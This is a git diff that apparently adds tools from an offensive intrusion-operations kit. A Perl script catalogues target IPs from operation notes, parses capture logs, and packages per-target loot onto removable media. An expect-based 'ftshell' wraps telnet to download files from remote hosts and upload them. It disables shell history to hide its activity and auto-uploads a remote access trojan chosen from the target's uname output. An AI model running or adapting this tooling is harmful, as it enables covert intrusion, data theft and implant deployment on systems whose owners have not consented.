{ + $systype{$dir}="r"; + } + if (-e "$dir/pbx.log") { + $systype{$dir}="p"; + } + if (-e "$dir/FTP_ScreenDump") { + $systype{$dir}="p"; + } +} +my $opnotes=$opnotes[0]; +if (scalar(@opnotes) > 1) { + # TODO: decide on an opnotes to use; maybe most recently changed or largest +} + +if (not(-e $opnotes)) { + $opnotes="$mainpath/opnotes.txt"; + print "Couldn't find opnotes; trying opnotes in disk, $opnotes\n"; +} + +if (not(-e $opnotes)) { + print STDERR "Couldn't find any opnotes!!!!\n"; + print STDERR "Hit return to continue, or ^C and go put your opnotes where I can find them (named opnotes.txt, in\n"; + print STDERR " $zipdisk or the top-level of one of the ops directories.\n"; + ; +} + +########## get project name +# TODO: write this into top of opnotes.txt if it's not already there +#any IPs with nonstandard projects should ask for later +my $defaultProject=""; + +open OPNOTES, $opnotes; +while ($line=) { + chomp($line); + if ($line =~ /^project:\s*(\S+?)\s*$/i) { + $defaultProject=$1; + last; + } +} +close OPNOTES; + +while ($defaultProject eq "") { + print "!!!! Whoa! Couldn't find default project name! You may want to check $opnotes and cancel out here!\n"; + print "Please enter the project name for this op: "; + $defaultProject=; + chomp($defaultProject); + $defaultProject =~ s/\s*$//; + $defaultProject =~ s/^\s*//; +} + +$defaultProject=lc($defaultProject); + + + + +#### get true project names +foreach my $dir (@dirs) { + print "Enter project for $dir [$defaultProject]: "; + my $project=; + chomp($project); + if ($project eq "") { + $project=$defaultProject; + } + $project{$dir}=$project; + + # Also get system type + unless ($systype{$dir}) { + $systype{$dir}="w"; + } + # Override system type with directory name if it's named appropriately + if ($dir =~ /\b[\d._]+([a-zA-Z])$/) { + $systype{$dir}=$1; + } +} + + + + +#print "Adding in local information.\n"; +my $phoneWaiting=0; +#if (!(-e $phoneLog)) { +# my $tempp; +# print "$phoneLog Not Found!\r\n Is there a phonelog for finishOP to insert into the OP notes?[y/n]: "; +# $tempp = ; +# $tempp =~ s/\n//g; +# if($tempp =~ /y/i){ +# print "Please enter in the full path to phonelog.txt: "; +# $tempp = ; +# $tempp =~ s/\n//g; +# $phoneLog = $tempp; +# $phoneWaiting=1; +# } +#} +#else{ +# $phoneWaiting=1; +#} +my $hostWaiting=1; +my $hostname=`hostname`; +chomp($hostname); +$hostname=uc($hostname); +my $hostline="Ops Machine: $hostname"; +open OPOLD, "$opnotes"; +my @oldopnotes=; +close OPOLD; +if (grep /^$hostline$/, @oldopnotes) { + $hostWaiting=0; +} else { + $hostWaiting=1; +} + +my $newopnotes="$opnotes.new"; +open OPNEW, ">$opnotes.new"; +open OPOLD, "$opnotes"; +while ($line=) { + # capture target notes + if ($line =~ /^(NOTE|DONOTRUN|ERROR|IGNORE)\s*\(([^\(\)]*?)\)\s*:?\s*(\S.*)$/) { + my ($type, $target, $comment) = ($1,$2,$3); + if (-d "$opbase/$target") { + open TARGETNOTES, ">>$opbase/$target/targetnotes.txt"; + print TARGETNOTES "$type: $comment\n"; + close TARGETNOTES; + } else { + print STDERR "Error! Couldn't find directory $opbase/$target to put target comment in:\n"; + print STDERR " $line"; + } + } + if ($line =~ /Results/) { + if ($phoneWaiting) { + open PHONE, $phoneLog; + print OPNEW "## From $phoneLog\n"; + while (my $line=) { + print OPNEW $line; + } + print OPNEW "\n"; + close PHONE; + $phoneWaiting=0; + } + if ($hostWaiting) { + print OPNEW "$hostline\n"; + $hostWaiting=0; + } + } + + if ($line =~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/) { + $TargetInOpnotes{$1}++ while ($line =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/g); + push(@TargetInfo, $line) if ($line =~ /\>.+(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/); + } + + if ($line =~ /^\s*Op Status\:/) { + $OpStatus = 'unsuccessful'; + } + + print OPNEW $line; +} +# Try printing out at the end, in case you didn't find a "Results" line in the opnotes +if ($phoneWaiting) { + open PHONE, $phoneLog; + print OPNEW "## From $phoneLog\n"; + while ($line=) { + print OPNEW $line; + } + print OPNEW "\n"; + close PHONE; + $phoneWaiting=0; +} +if ($hostWaiting) { + print OPNEW "$hostline\n"; + $hostWaiting=0; +} + +close OPOLD; +close OPNEW; +unlink($opnotes); +rename("$opnotes.new",$opnotes); +if (($phoneWaiting==0) and (-e $phoneLog)) { + unlink($phoneLog); +} + +print "\n\nOverall ops status is \"$OpStatus\" - is this correct? [Y/n]: "; +$answer = ; +print "You can correct the status by answering \"y\" to edit the opnotes below.\n\n" if ($answer =~ /n/i); + +my $opnotes_problem = 0; +foreach my $dir (@dirs) { + (my $targetip = $dir) =~ s/^.+?(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}).*$/$1/; + unless (exists($TargetInOpnotes{$targetip})) { + print "\n$targetip wasn't found in the opnotes, though it has a data directory.\n"; + print "If this IP address was accessed (or even just attempted) during the op,\n"; + print "please add it and the full domain to the opnotes\n\n"; + $opnotes_problem = 1; + } +} + +&EditOpNotes($opnotes) if ($opnotes_problem); + + +print "\n\n******************** target info from opnotes ********************\n"; +print "Each target should have IP(s), full domain name, and appropriate labels:\n"; +print "- project (if different than main project)\n"; +print "- *nix/firewall/router (for non-Windows targets)\n"; +print "- unsuccessful (if not reached)\n\n"; +foreach $line (@TargetInfo) { + print $line; + + print "^^^^^^ Incomplete or missing domain name? Please list if known. ^^^^^^\n" + unless $line =~ /\d*[a-zA-Z]+\d*\.\d*[a-zA-Z]+\d*/; +} +print "\n******************************************************************\n\n"; +&EditOpNotes($opnotes); + + +# copy opnotes and writing project name into all directories +print "Copying opnotes and writing project name to all directories\n"; +foreach my $dir (@dirs) { + open PROJECT, ">$dir/project.txt"; + print PROJECT $project{$dir}; + print PROJECT "\n"; + close PROJECT; + + open PROJECT, ">$dir/systype.txt"; + print PROJECT $systype{$dir}; + print PROJECT "\n"; + close PROJECT; + + if ("$dir/opnotes.txt" eq $opnotes) { + next; + } + if (-e "$dir/opnotes.txt") { + rename("$dir/opnotes.txt","$dir/opnotes.orig.txt"); + } + copy($opnotes,"$dir/opnotes.txt"); +} + + + +############ run renamer +print "Running renamer.exe and dotrenamer\n"; +foreach my $dir (@dirs) { + # check for any darkskyline logs + &doDSParser($dir); + # check for any IDS systems on machine + # should already be done in idslogger.eps +# &doBootdepth($dir); + # run renamer.exe in all directories + &dorenamer($dir); + # This also takes care of renaming copyget + &dodotrenamer($dir); +} +chdir($mainpath); + +########### zip up directories + +print "Remember to save the netmon capture.\n"; +my $winzip="C:/Program Files/WinZip/WZZIP.EXE"; +if (-e $winzip) { + print "Remember to finish any op notes and save the capture file.\n"; + print "About to zip up directories. (Hit enter to continue.)\n"; + ; + foreach my $dir (@dirs) { + retryUntilOkay(\&zipDir,$dir); + } +} else { + print "Couldn't find $winzip; please install command-line winzip here.\n"; + print "Can't yet command-line zip up directories. Do it yourself, please. Hit return when done.\n"; + print "Remember to finish any op notes and save the capture file.\n"; + ; +} + +############### move directories + +my $date=`date /t`; +if ($date =~ /(\d+)\/(\d+)\/(\d+)/) { + $date="$3$1$2"; +} else { + $date="UNKNOWN"; +} +my $tempNum=0; + +my $opdir="${zipdisk}/${date}_$defaultProject"; +while (-e $opdir) { + print "$opdir exists; renaming\n"; + $opdir="${zipdisk}/$date$tempNum\_$defaultProject"; + $tempNum++; +} +if (not(-e $opdir)) { + mkpath($opdir); +} + +my $backpath="${opbase}/Old_ops"; +#if (not(-d $backpath)) { +# print STDERR "No backup directory $backpath! Will backup to Zip drive.\n"; +# $backpath="${zipdisk}/Old_ops"; +#} + +my $backupdir="$backpath/$date/${date}_$defaultProject"; +$tempNum=0; +while (-e $backupdir) { + print "$backupdir exists; renaming\n"; + $backupdir = "$backpath/$date/${date}_$defaultProject$tempNum"; + $tempNum++; +} +if (not(-e $backupdir)) { + mkpath($backupdir); +} + +print "Backup dir is $backupdir\n"; +print "Op dir is $opdir\n"; + +foreach my $dir (@dirs) { + # copy zip + retryUntilOkay(\©Zip,$dir); +} + +foreach my $dir (@dirs) { + # move dir + retryUntilOkay(\&moveFiles,$dir); +} + +##### copy any UNIX .tar.bz2 files + + +if (-d "y:/") +{ + my $source = "y:/"; + opendir ZIP, "$source/"; + my @files=readdir ZIP; + closedir ZIP; + @files = grep /(^op.done.by|\d{8}-\d{4}\.tar\.bz2$)/, @files; + foreach my $file (@files) { + my $response = ""; + while ($response !~ /^[yn]$/i) { + print "Move $file into $opdir? [y]/n: "; + $response=; + chomp($response); + if ($response eq "") { + $response = "y"; + } + } + if ($response =~ /y/i) { + # copy $file into backup directory as well + copy("$source/$file","$backupdir/$file"); + copy("$source/$file","$opdir/$file"); + #rename("$zipdisk/$file","$opdir/$file"); + } + } + + unless (grep /bz2$/, @files) { + print "\n\n**********************************************************************\n"; + print "\n\nNOTE: no Unix bz2 files found in $zipdisk. If you have any Unix data,\n"; + print "including pitchimpair(s), you must move this manually to your media!!\n"; + print "**********************************************************************\n\n"; + } +} + +my $remove="$mainpath/removeOldOps.pl"; +unless (-e $remove) { + $remove="${zipdisk}/working/removeOldOps.pl"; + unless (-e $remove) { + $remove="C:/removeOldOps.pl"; + unless (-e $remove) { + $remove="removeOldOps.pl"; + } + } +} +if (-e $remove) { + print "Removing old op files.\n"; + system("$remove > $deleteMe"); +} + +if (-e $deleteMe) { + unlink($deleteMe); +} + +#Make sure all files were copied to the zip - alert user if any are missing + +opendir(DIR, $backupdir) or warn "Can't list $backupdir: $!\n"; +while(defined($_ = readdir(DIR))) { + next unless (/\.zip$/ || /\.bz2$/); + if (! -e "$opdir\\$_") { + warn "\n\n!!! $_ wasn't copied to your removable media !!!\n Make sure there is enough space, then copy this manually.\n\n"; + } +} + +print "\n\n*Files moved. Run the copy script now.*\n\n"; + +print "All done. Thank you, please come again. (Hit return to exit)\n"; +; +exit(0); + +###################################################################################### +###################################################################################### +###################################################################################### +###################################################################################### +###################################################################################### + +sub zipDir { + my $dir=shift(); + my $zipname="$dir.zip"; + if (-e $zipname) { + print STDERR "Hey! $zipname Already exists! Remove it, then hit return to continue.\n"; + print STDERR "(Or enter 'skip' to skip this)\n"; + my $response=; + chomp($response); + if ($response eq 'skip') { + return 1; + } else { + return 0; + } + } else { + if (system("\"$winzip\" -rp $zipname $dir/* > $deleteMe")!=0) { + print STDERR "Error zipping!\n"; + } + return 1; + } +} + +sub getIP { + my $dir=shift(); + + if ($dir =~ /\/([\d.]+)_?\w?\/?$/) { + return $1; + } else { + return ""; + } +} + +sub moveFiles { + my $dir=shift(); + my $ip=&getIP($dir); + + if ($ip eq "") { + print STDERR "moveFiles could not get ip from $dir. Skipping.\n"; + return 1; + } + + while (-e "$backupdir/$ip") { + print STDERR "Renaming $ip to $ip\_, to avoid duplication\n"; + $ip=$ip."_"; + } + if (not(-e $backupdir)) { + print STDERR "$backupdir did not exist!\n"; + mkpath($backupdir); + } + if (-e $dir) { + if (not(rename($dir,"$backupdir/$ip"))) { + print STDERR "Couldn't rename $dir to $backupdir/$ip: $!\n"; + print STDERR "Please close all access to the directory, then hit return.\n"; + print STDERR "(Or enter 'skip' to skip this)\n"; + my $response=; + chomp($response); + if ($response eq 'skip') { + return 1; + } else { + return 0; + } + } else { + my $project=$project{$dir}; + my $origZipName="$dir.zip"; + my $targetZipName="$backupdir/$project.$ip.zip"; + if (not(rename($origZipName,$targetZipName))) { + print STDERR "Couldn't rename $origZipName to $targetZipName ($!) Skipping.\n"; + return 1; + } else { + return 1; + } + } + } else { + return 1; + } + print STDERR "You are a monkey.\n"; + return 1; +} + + +sub copyZip { + my $dir=shift(); + my $ip=&getIP($dir); + + if ($ip eq "") { + print STDERR "copyZip could not get ip from $dir. Skipping.\n"; + return 1; + } + + my $origZipName="$dir.zip"; + if (not(-e $origZipName)) { + $origZipName="$dir.router.zip"; + } + + if (not(-e $origZipName)) { + print STDERR "Whoa. Did you forget about $dir? Zip it now. Hit return when you zipped it.\n"; + print STDERR "(Or enter 'skip' to skip this)\n"; + my $response=; + chomp($response); + if ($response eq 'skip') { + return 1; + } else { + return 0; + } + } + my $project=$project{$dir}; + my $zipName="$project.$ip"; + if (-e "$opdir/$zipName.zip") { + print STDERR "Whoa!!! $opdir/$zipName.zip already exists. Please move it, then hit return to continue.\n"; + print STDERR "(Or enter 'skip' to skip this)\n"; + my $response=; + chomp($response); + if ($response eq 'skip') { + return 1; + } else { + return 0; + } + return 0; + } + if (not(copy($origZipName,"$opdir/$zipName.zip"))) { + print STDERR "!!! Couldn't copy $dir.zip to zipdisk ($!)!!! Skipping.\n"; + return 1; + } else { + return 1; + } + print STDERR "You are a monkey.\n"; + return 1; +} + + +sub retryUntilOkay { + my $subroutine=shift(); + my @args=@_; + my $return=0; + while ($return==0) { + $return=&$subroutine(@args); +# unless ($return) { +# print STDERR "Bad retval ($return) with @args\n"; +# } + } + return 1; +} + +############# + +sub doBootdepth { + my $dir=shift(); + if (not(-e "$dir/bootdepth.log")) { + my $bootDir="$mainpath/bootdepth"; + my $bootdepth="$bootDir/bootdepth.pl"; + if (-e $bootdepth) { + chdir($dir); + my $sysline="perl $bootdepth -x $bootDir -d $dir"; + print "Running $bootdepth in $dir\n"; + system($sysline); + } + } +} + +sub doDSParser { + my ($dir,$maindir)=@_; + if ((defined($dir)) and + not(defined($maindir))) { + return &doDSParser($dir,$dir); + } + + print "DS parsing $dir ($maindir)\n"; + + my $ip=&getIP($maindir); + + opendir DIR, $dir; + my @files=readdir DIR; + closedir DIR; + + foreach my $file (@files) { +# print " checking $file\n"; + if ($file =~ /^\.\.?$/) { + next; + } + if ($file =~ /^vga_ds.tff_(?:all_)?(.*)/i) { + my $sysline="$opsdisk/resources/darkskyline/DS_ParseLogs.exe $dir/$file ${ip}_$1"; + print "Found DarkSkyline log: parsing out capture files.\n"; + print " running $sysline\n"; + my $dsDir="$maindir/darkskyline"; + if (not(mkdir($dsDir))) { + print STDERR "Couldn't make directory $dsDir!\n"; + $dsDir=$maindir; + } + print " results will be put in $dsDir\n"; + chdir($dsDir); + system($sysline); + rename("$dir/$file","$dsDir/$file"); + } + if (-d "$dir/$file") { + &doDSParser("$dir/$file",$maindir); + } + } +} + +sub dorenamer { + my ($dir,$maindir)=@_; + if ((defined($dir)) and + not(defined($maindir))) { + return &dorenamer($dir,$dir); + } + + my $renamerLog="$dir/FILE_NAME_CONVERSION.LOG"; + my $globalRenamerLog="$maindir/FILE_NAME_CONVERSION.LOG"; + + if (not(-e $renamerLog)) { + chdir($dir); + my $tempdir=cwd(); + print("Running $mainpath/renamer.exe in $tempdir\n"); + if (system("$mainpath/renamer.exe > $deleteMe") != 0) { + # TODO: put this back in once renamer doesn't break when not renaming any files + print STDERR "Error running renamer in $tempdir!!!!!!\n"; + print STDERR "Run manually, please. Hit return when ready to continue.\n"; + ; + } + } else { + # TODO: change this to always run (will append, not overwrite) + print "$renamerLog already exists.\n"; + } + + if (-s $renamerLog) { + &append($renamerLog,$globalRenamerLog); + } else { + unlink($renamerLog); + } + + chdir($mainpath); + + opendir DIR, $dir; + my @files=readdir DIR; + closedir DIR; + + foreach my $file (@files) { + if ($file =~ /^\.\.?$/) { + next; + } + if (-d "$dir/$file") { + &dorenamer("$dir/$file",$maindir); + } + } +} + +# This actually does copyget as well +# TODO: incorporate main renamer in here as well +sub dodotrenamer { + my ($dir,$maindir)=@_; + + if ((defined($dir)) and + not(defined($maindir))) { + return &dodotrenamer($dir,$dir); + } + + my $renamerLog="$dir/FILE_NAME_CONVERSION.LOG"; + my $copygetRenamerLog="$dir/COPYGET_NAME_CONVERSION.LOG"; + my $globalRenamerLog="$maindir/FILE_NAME_CONVERSION.LOG"; + my $copygetLog="$dir/copyget.log"; + my $globalCopygetLog="$maindir/copyget.log"; + + chdir($dir); + my $tempdir=cwd(); +# print("Running $mainpath/dotrenamer.pl in $tempdir\n"); + if (system("$mainpath/dotrenamer.pl -pattern Q > $deleteMe") != 0) { + print STDERR "Error running dotrenamer in $tempdir!!!!!!\n"; + print STDERR "Run manually, please. Hit return when ready to continue.\n"; + ; + } + chdir($mainpath); + + if (-s $renamerLog) { + &append($renamerLog,$globalRenamerLog); + } else { + unlink($renamerLog); + } + + if (-s $copygetLog) { + &append($copygetLog,$globalCopygetLog); + } + if (-s $copygetRenamerLog) { + &append($copygetRenamerLog,$globalRenamerLog); + } + + opendir DIR, $dir; + my @files=readdir DIR; + closedir DIR; + + foreach my $file (@files) { + if ($file =~ /^\.\.?$/) { + next; + } + if (-d "$dir/$file") { + &dodotrenamer("$dir/$file",$maindir); + } + } +} + +sub append { + my ($input, $mainfile)=@_; + if ($input eq $mainfile) { + return; + } + + print "Appending $input to $mainfile\n"; + + open INPUT, $input or print STDERR "Can't open $input for reading!\n"; + my $stripUniHeader=0; + if (-e $mainfile) { + $stripUniHeader=1; + } + open MAIN, ">>$mainfile" or print STDERR "Can't open $mainfile for appending!\n"; + binmode(INPUT); + binmode(MAIN); + my $line; + if (defined($line=)) { + if ($stripUniHeader) { + $line =~ s/^\xff\xfe//; + } + if ($line) { + print MAIN $line; + } + } + while (defined($line=)) { + print MAIN $line; + } + close MAIN; + close INPUT; + unlink($input); +} + +sub EditOpNotes { + my $opnotes = shift; + print "Would you like to edit the $opnotes file now? y/[N] : "; + my $temp = ; + chomp($temp); + if ($temp =~ /\s*y/i) { + print "exit opnotes to continue...\n\n"; + system("notepad $opnotes"); + } +} + +__END__ diff --git a/Linux/bin/fix-typescript b/Linux/bin/fix-typescript new file mode 100755 index 0000000..5806514 Binary files /dev/null and b/Linux/bin/fix-typescript differ diff --git a/Linux/bin/forkpty b/Linux/bin/forkpty new file mode 100755 index 0000000..793d48e Binary files /dev/null and b/Linux/bin/forkpty differ diff --git a/Linux/bin/frowns b/Linux/bin/frowns new file mode 100755 index 0000000..a69b641 Binary files /dev/null and b/Linux/bin/frowns differ diff --git a/Linux/bin/frowns.old b/Linux/bin/frowns.old new file mode 100755 index 0000000..3647aee Binary files /dev/null and b/Linux/bin/frowns.old differ diff --git a/Linux/bin/ftshell b/Linux/bin/ftshell new file mode 100755 index 0000000..27df07b --- /dev/null +++ b/Linux/bin/ftshell @@ -0,0 +1,1389 @@ +#!/bin/sh +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# Run this in expect, the backslash makes the next line (exec) +# a comment to expect but not the shell \ +exec expect -f "$0" -- ${1+"$@"} + +## $RCSfile: ftshell.tcl,v $ $Revision: 1.54 $ + +# +# ftshell -- File Transfer Shell +# +# An expect wrapper arround telnet that adds functions +# via an "~~" escape to up/down -load files. +# + +# Toggle verbose status +proc verbose {} { + global verbose_flag + set verbose_flag [expr !$verbose_flag] + send_user "verbose [verbose_status]\r\n" +} +# Return verbose status +proc verbose_status {} { + global verbose_flag + if ($verbose_flag) { + return "on" + } else { + return "off" + } +} +# send_user if verbose is on +proc send_verbose {msg} { + global verbose_flag + + if $verbose_flag { + send_user "+ftshell $msg\n" + } +} +# send_user if verbose is on +proc dbg {msg} { + send_user "+DBG $msg\n" +} + +# Toggle check of remote commands +proc toggleExitCheck {} { + global checkExitStatus + set checkExitStatus [expr !$checkExitStatus] + send_user "check exit status [exitCheck]\r\n" +} + +# Get value of exitCheck +proc exitCheck {} { + global checkExitStatus + if ($checkExitStatus) { + return "on" + } else { + return "off" + } +} + +# local cd +proc chdir {} { + stty -raw echo + send_user "c\n" + send_user "current directory : [pwd]\n" + send_user "change to directory: " + expect_user -re "(.*)\n" { + set newDir $expect_out(1,string) + if [string length $newDir] { + if [catch {cd $newDir} msg] { + send_user "failed: $msg\n" + } + send_user "local directory now: [pwd]\n" + } else { + send_user "local directory unchanged\n" + } + } + stty raw -echo +} + +# get names for file for a 'get' +proc get_main {} { + global prompt + global sentLines + + stty -raw echo + send_user "g\nget remote file \[localfile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_verbose "copying (remote) $f1 to (local) $f2" + send "sh\r" + expect -re $prompt + dounsets + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_verbose "copying $expect_out(1,string)" + # We try bash in no history mode, if that fails just plain "sh" + send "/bin/bash --posix +o history\r" + set status 999 + + send "echo \$?\r" + send_verbose "echo \$?" + expect { + -re "(\[0-9]+)\r\n" { + set status $expect_out(1,string) + } + } + expect -re $prompt + if {$status != 0} { + send "sh\r" + expect -re $prompt + } + dounsets + send "PS1='xfer$ '\r" + expect -re $prompt + # THIS IS BAD? we overwrite our local /etc/passwd if that's what we just got? + get $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_verbose "nothing transfered" + } + } + stty raw -echo +} + +#get names of files for a 'put' +proc put_main {} { + global prompt + stty -raw echo + send_user "p\nput localfile \[remotefile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_verbose "copying (local) $f1 to (remote) $f2" + # We try bash in no history mode, if that fails just plain "sh" + send "/bin/bash --posix +o history\r" + set status 999 + + send "echo \$?\r" + send_verbose "echo \$?" + expect { + -re "(\[0-9]+)\r\n" { + set status $expect_out(1,string) + } + } + expect -re $prompt + if {$status != 0} { + send "sh\r" + expect -re $prompt + } + send "PS1='xfer$ '\r" + expect -re $prompt + dounsets + put $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_verbose "copying $f1" + send "sh\r" + expect -re $prompt + dounsets + send "PS1='xfer$ '\r" + expect -re $prompt + put $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_verbose "nothing transfered" + } + } + stty raw -echo +} + +# Get PID on remote system +proc getrpid {} { + global prompt + global rpid + send "echo $$\r" + expect -re "(.*)\r\n.*$prompt" { + regexp "\r\n(\[^\r\n\]*)" $expect_out(1,string) ignore rpid + } + send_verbose "remote pid is $rpid" +} + +# +# update the bytes transfered status message. Update the display +# no more often then once per second unless 'amount' is 0 which +# means fource an update. +# Negative 'amount's may not work as expected. +# +proc updateStatus {direction amount} { + global bytesTransfered + global lastUpdateStatus + global startTime + global sentLines + + if {$bytesTransfered == 0} { + send_user "\n" + set lastUpdateStatus 0 + set startTime [timestamp] + send_user [timestamp -format "Transfer started at %c\n" -seconds $startTime] + } + + set newTime [timestamp] + if { $amount != 0 } { + # Add one for the newline + set bytesTransfered [expr $bytesTransfered + $amount + 1] + set sentLines [expr $sentLines + 1] + } + + # Only update once per second. however, + # if amount is 0 then force update + if {$lastUpdateStatus < $newTime || $amount == 0} { + set lastUpdateStatus $newTime + set timeDelta [expr $newTime - $startTime] + if {$timeDelta == 0} { + set dataRate "< 1s -- likely buffered locally" + } else { + set dataRate [expr $bytesTransfered / $timeDelta] + set dataRate "$dataRate B/s" + } + send_user "\r" + send_user "Bytes $direction: $bytesTransfered; Transfer rate: $dataRate " + } +} + +# Run command via send on remote system +# Waits till comand has completed and then grabs +# its exit status and returns that +proc rcmd {cmd} { + global prompt + global checkExitStatus + + send_verbose "rcmd--> $cmd" + send -- $cmd + expect -re $prompt + + if {$checkExitStatus == 0} { + return 0 + } + + set ologuser [log_user 1] +# set ologuser [log_user 0] + set status 999 + + send "echo \$?\r" + send_verbose "echo \$?" + expect { + -re "(\[0-9]+)\r\n" { + set status $expect_out(1,string) + } + } + expect -re $prompt + + log_user $ologuser + + # Return to normal modes -- so calling routine need + # only do a return. + if {$status != 0} { + send "stty echo\r" + set cmd [string trimright $cmd "\r"] + send_verbose "remote command '$cmd' failed; code=$status" + log_user 1 + } + + return $status +} + +# Find local file to use for uLocalFile +proc setlocalfile {} { + global OtherUpload + if { $OtherUpload == 2 } { + global uLocalFile Uname +# dbg "before looking: uLocalFile=$uLocalFile=" + set uLocalFile [exec whatrat.pl "$Uname" 2>/dev/null ] +# dbg "after looking: uLocalFile=$uLocalFile=" + if [string match "" $uLocalFile] { + send_user "\n\n\n" + send_verbose "\033\[1;31mCANNOT CONTINUE! Aborting!\a" + sleep 1 + send_verbose "\033\[1;33mCANNOT CONTINUE! Aborting!!\a" + sleep 1 + send_verbose "\033\[1;31mCANNOT CONTINUE! Aborting!!\a" + sleep 1 + send_verbose "\033\[1;33mCANNOT CONTINUE! Aborting!!\a" + sleep 1 + send_verbose "Cannot proceed with auto-upload, whatrat.pl cannot find" + send_verbose "us a valid RAT from remote uname -a output:\033\[0;34m\n\n\n Uname=$Uname\n\n\033\[1;33m" + send_verbose "\033\[1;31mCANNOT CONTINUE! Aborting!\a" + sleep 1 + send_verbose "\033\[1;33mCANNOT CONTINUE! Aborting!!\a" + sleep 1 + send_verbose "\033\[1;31mCANNOT CONTINUE! Aborting!!!\a" + sleep 1 + send_verbose "\033\[1;33mCANNOT CONTINUE! Aborting upload and going INTERACTIVE\a\033\[0;39m" + sleep 2 + interactive + } + } +} + +# Get file from remote system +proc get {infile outfile} { + global prompt verbose_flag bytesTransfered + global uudecode + + + if (!$verbose_flag) { + log_user 0 + } + + send_verbose "disabling echo: " +# send "echo not doing stty -echo\r" + send "stty -echo\r" + expect -re $prompt + + set label "uulabel" + if [string match *.uu $infile] { + send_verbose "not encoding or compressing" + set remote_cmd "cat $infile" + set local_cmd "cat > $outfile" + } elseif [regexp "\.(Z|gz|bz2)$" $infile] { + send_verbose "not compressing" + set remote_cmd "cat $infile | uuencode $label | cat" + set local_cmd "$uudecode > $outfile" + } else { + set remote_cmd "compress -fc $infile | uuencode $label | cat"; + set local_cmd "$uudecode | uncompress -cf > $outfile" + } + + send_verbose "\nremote command: $remote_cmd" + send_verbose "local command: $local_cmd" + + # Calculate amount of data to transfer + send_user "Total bytes to transfer: " + send "$remote_cmd | wc -c\r" + expect -re $prompt + + set out [open "|$local_cmd" w] +# send_verbose "open returned" + + send "$remote_cmd\r" + + + log_user 0 + + set bytesTransfered 0 + set sentLines 0 + expect { + -re "^end\r\n" { + puts $out "end" + close $out + updateStatus "received" [string length "end"] + } + -re "^(\[^\r]*)\r\n" { + puts $out $expect_out(1,string) + updateStatus "received" [string length $expect_out(1,string)] + exp_continue + } + -re "xfer\\$ $" { +exp_continue + send_verbose "caught prompt - aborting xfer" + send '\003' + } + } + updateStatus "received" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + expect -re $prompt + + + send "stty echo\r" + log_user 1 +} + +# send file to remote system +proc put {infile outfile} { + global prompt verbose_flag bytesTransfered + global errorCode + global errorInfo + global uudecodeCMD + global sentLines + + set uudecodeCMD "" + if (!$verbose_flag) { + log_user 0 + } + + # Note: We can't assume that uudecode on the remote + # system takes the -p argument :-( + +# send_verbose "remote pid is " +# send "echo $$\r" +# expect -re "(.*)\r\n.*$prompt" { +# set rpid $expect_out(1,string) +# } + + set uudecodePath "not found" + set perlPath "not found" + set uncompressPath "not found" + set gzipPath "not found" + + # This (may) avoids incorrectly NOT recognizing the output of type +# send "\r" +# expect -re $prompt + + send "type uudecode perl uncompress gzip\r" + # sleep may help avoid incorrectly NOT recognizing the output of type? + sleep 1 + expect -re "(.*)\r\n.*$prompt" { + regexp "uudecode is (/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp "perl is (/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp "uncompress is (/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp "gzip is (/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } + if ![regexp "uudecode" $uudecodePath] { + if ![regexp "perl" $perlPath] { + send_verbose "type found no perl or uudecode...trying which instead" + send "setenv HOME \"\"\r" + sleep 1 + expect -re $prompt + send "HOME=\"\" export HOME\r" + sleep 1 + expect -re $prompt + send "which uudecode perl uncompress gzip\r" + expect -re "(.*)\r\n.*$prompt" { + regexp "(/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp "(/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp "(/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp "(/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } + if [regexp "no " $uudecodePath] { + set uudecodePath "Not found" + } + if [regexp "no " $perlPath] { + set perlPath "Not found" + } + if [regexp "no " $uncompressPath] { + set uncompressPath "Not found" + } + if [regexp "no " $gzipPath] { + set gzipPath "Not found" + } + } + } + + # This (may) avoids incorrectly NOT recognizing the output of type + send "\r" + expect -re $prompt + + send_verbose "\nPATH TO: uudecode $uudecodePath" + send_verbose "PATH TO: perl $perlPath" + send_verbose "PATH TO: uncompress $uncompressPath" + send_verbose "PATH TO: gzip $gzipPath\n" + + send_verbose "disabling echo: " + send "stty -echo\r" + expect -re $prompt + + set nocompress "" + set usegzip "" + if ![regexp "uncompress" $uncompressPath] { + send_verbose "No uncompress" + if ![ regexp "gzip" $gzipPath] { + send_verbose "No compress or gzip...will not compress upload" + set nocompress "yes" + } else { + send_verbose "No compress but there is gzip...will uncompress with gzip -dc" + set usegzip "yes" + } + } + + if ![regexp "uudecode" $uudecodePath] { + send_verbose "No uudecode" + if ![regexp "perl" $perlPath] { + send_verbose "No perl or uudecode...cannot send file" + send "stty echo\r" + return + } else { + send_verbose "Using perl for uudecode" + set uudecodeCMD "$perlPath -e ' +\$_ = <> until (\$mode,\$file) = /^begin\\s(\\d*)\\s*(\\S*)/; +open (OUT,\"> \$file\") if \$file ne \"\"; +while (<>) { + last if /^end/; + next if /a-z/; + next unless int ((((ord() - 32) & 077) + 2) / 3) == int(length() / 4); + print OUT unpack (\"u\",\$_) ; +} +close (OUT); +chmod oct \$mode, \$file ; +print \"Just created \$file: + +ls -al \$file*\\n\"; +print `ls -al \$file*`; 